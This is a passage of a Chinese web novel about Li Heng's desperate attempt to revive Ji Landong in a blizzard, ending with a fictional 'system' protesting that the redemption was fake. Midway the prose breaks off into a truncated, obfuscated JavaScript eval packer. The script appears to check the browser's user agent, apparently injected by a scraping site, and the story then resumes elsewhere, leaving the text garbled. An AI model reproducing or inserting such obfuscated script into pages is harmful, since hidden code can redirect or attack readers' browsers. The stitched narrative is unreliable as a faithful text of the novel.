他会带少年季斓冬去看医生,去做心理咨询,做多久都有时间,做多少次都有时间。 季斓冬不喜欢人,他们就去山谷和森林远足,说不定会在月亮下面找到水潭,在水潭边上遇到一只鹿。 厉珩会记得在整死季然的时候把事做得足够干净。 他会陪还是少年的的季斓冬养蘑菇,养一条叫布丁的狗,在遛狗的路上去吃排骨包子……不行,这太单调了。他去学怎么炖一锅热乎乎的好汤,怎么做让人牙疼的甜食,怎么烧壁炉,他明天就去学。 季斓冬可以负责在窗户的水汽上无聊地画画。 季斓冬身体好了,就能去玩雪。 厉珩把嗓子说到嘶哑充血,他必须保持足够的音量,发动机嘶吼得太震耳朵了,雪花在轮胎两侧飞溅。 冷得钻心。 季斓冬在他胸口。 垂着头,很安静不抗拒,额头静静靠着他的颈窝。 那一小块皮肤慢慢变得冰冷。 轮胎轧上反光的冰面,方向瞬间失控,厉珩松开摩托的手把,抱着季斓冬就地测滚,顾不上摔滑出去的摩托。 后背重重撞上树干。 厉珩收紧手臂,口腔里弥漫开浓郁的血腥气。 他察觉到自己在剧烈发抖,不是因为疼痛,是季斓冬,他把季斓冬放在雪地上,检查颈动脉,呼吸,然后快速拉开季斓冬的羽绒服。 他贴下去听了几秒,抵住胸廓开始按压。 季斓冬静静躺在白色的雪地上。 雪花落进微睁着的眼睛里,融化,变成一点淌出来的水汽。 …… …… 厉珩看着这双眼睛。 他在某一瞬有些恍惚,思考究竟怎么做才对,他迟疑着停下手,冻得失去知觉的指尖去抚摸忘记闭上的眼睛。 季斓冬似乎结束了他的煎熬。 似乎结束了,季斓冬不再疼,不再需要没完没了吃苦到离谱的药,不再需要分辨幻觉和现实。 厉珩轻声说:“……季斓冬。” 他把沾了雪的季斓冬捧起来,屏着呼吸抱在怀里,还有新的雪花落下来,掉在季斓冬的睫毛上。 厉珩低头,用嘴唇慢慢融化掉它们,季斓冬的睫毛很长很密。 他开始思考季斓冬的墓志铭。 之所以轮得到他考虑,是因为这地方多半要被他私吞。厉珩确信自己后半辈子大概也只能孤独地跟一条恨死他的叫布丁的狗过,活到很老,然后终于死掉,带着面粉、排骨和擀面杖,抓紧时间去蹭一座年轻的坟。 腰侧的通讯器骤然发出杂音。 厉珩猝然回神。 通讯器材上有时间,他以为这段走神的工夫很久,但现实居然只过了几秒钟。 联络的是他手下的探员,他们的运气不错,虽然离最近的医院仍旧有段距离,但半公里外,有辆同样因为暴雪抛锚被暂时留在那的空急救车。 车上的人已经转移,器材还在,有药品,有AED设备。 厉珩低头看仿佛舒服的季斓冬。 他握住季斓冬的手,苦笑了下,低头吻住失去全部血色的嘴唇,托着软坠的头颈,小心翼翼把气流送进去。 几秒的间断可以被弥补。 厉珩压上冷寂的胸口,季斓冬已经瘦得不剩一丝赘余,肋骨硌在掌心,摊开的臂膀静静拥着风雪。 厉珩不知疲倦地按压那颗心脏,配合着送进空气。他意识到整件事存在一个无法忽略的悖论——只有活着季斓冬本人才能回答,在那一刻是否同意了死亡的邀请,而季斓冬并没留下态度明确的信息。 “包子好吃吗”实在不能算是有效信息。 所以厉珩选择莽撞和自私,他未经允许擅自假定,季斓冬有点想吃排骨包子。 所以季斓冬要先活过来。 活过来。 过一点真正舒服的日子。 享受一些从没有过的时光。 然后好好地,从容地,很不着急地慢慢决定,要不要渡过那条漆黑的冰河。 …… 压着胸腔送进最后一口空气,厉珩抱起季斓冬,跑过半公里的雪路,很不好走,摔了几个跟头,夜幕已经降临。 厉珩抱着季斓冬跳上空急救车。 他把季斓冬轻轻放在急救担架上。 为了使用除颤仪,只好暂时松开那只还没捂暖和的手。 季斓冬的胸腔在电击下颤动,尖锐针头刺破皮肤,肾上腺素被注入身体,持续的心脏按压牵扯垂落的瘦削腕骨。 厉珩像台精准的、不具感情的机器,分毫不差地按照远程指导施救,心电图有了微弱的波动,厉珩抚摸季斓冬的头发,注视着氧气面罩下无知无觉的面孔。 天色变得更暗了。 风卷着雪呼啸,厉珩关上急救车的车厢门,坐下来。 通讯器里的消息实在不算好。 今晚救援无法赶到,暴雪还在下,道路无法疏通,极端恶劣的天气状况连急救直升机也无法起飞,夜里气温可能跌破零下三十度。 厉珩应该把证人留在这里,尽量保持维生系统运转,自行设法撤离。 ——这是比较冠冕堂皇的说法。 事实上,急救车的电量已经不足,油箱也空了,维持呼吸机、制氧机供电和供暖系统只能选一个。 厉珩必须尽快离开,否则。 厉珩还没考虑过这个可能:“我们两个会一起在今晚冻死?” 探员很慌张:“不不,组长,只要尽快撤离……” 厉珩的确没考虑过这个可能。 太冲动了吧。 他又不是毛头小子。 殉情的情感有点太过浓烈了,他还做不出这么不计代价的事,再说他都答应养狗了…… “我家——”厉珩改口,“证人,季斓冬家,有条狗。” 他说:“你们照顾一下。” 通讯器另一头陷入不安的沉寂。 厉珩找了个理由,给他们拿来交差:“我腿断了。” 当然是胡扯,腿断了怎么抱着一个人雪地狂奔半公里,厉珩及时切断了通讯,避免这些人来要更多更麻烦的解释,他扔了通讯器,撑着胳膊看季斓冬。 他低头扯动嘴角。 “见鬼。” 厉珩低声说,他在不算宽敞的空间里折腾了一阵,总算让自己也能躺下,把季斓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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额头安抚似的贴着厉珩发颤的颈窝,睫毛覆落,结了一层白色的薄霜。 心跳监测逐渐变成无序的乱波。 为什么会有霜? 厉珩茫然地吻这些睫毛,心想车里固然冷,却又没有雪,雪花掉不进季斓冬的眼睛里。 厉珩反复回想,他只是说他做饭的时候,季斓冬可以在窗户上随便乱画。 他只是吓唬季斓冬,说要往季斓冬衣领里塞个雪球。 他还说什么了。 在他自顾自啰嗦个不停的时候,在他完全没发现的时候,季斓冬的眼睛里流出了什么,被冻成霜。 厉珩捧着怀里的人,他想问问季斓冬,他慢慢抚摸着薄薄的眼皮,哄它们张开,怔忪地望着涣散的空洞瞳孔。 ………… ……接着。 仪器挣扎着一亮,又一亮,冒出电火花。 早已耗尽电量的AED急救设备又亮起来。 供暖艰难运转。 「不不……不行,出错了,出故障了。」 系统死死拽着车门,磕磕绊绊上报,不准这个故事被验收:「我坏掉了,我是个坏蘑、坏系统,你们不准动他。」 「不准动厉珩,不准动布丁。」 「救赎值是假的,假的,骗人的。」 「他不能走,他还没过过好日子,一天都没过。他很疼,一点也没好,他装成这样,全是为了叫朋友不难过。」 「他是最好的骗子,最心软的混蛋。」 系统拆碎自己的数据,全扔在地上,证明自己是个坏透了完全不准确的垃圾系统:「他不舒服。」 「你们……不准动他。」 「不准……」 「季斓冬……没被救赎。」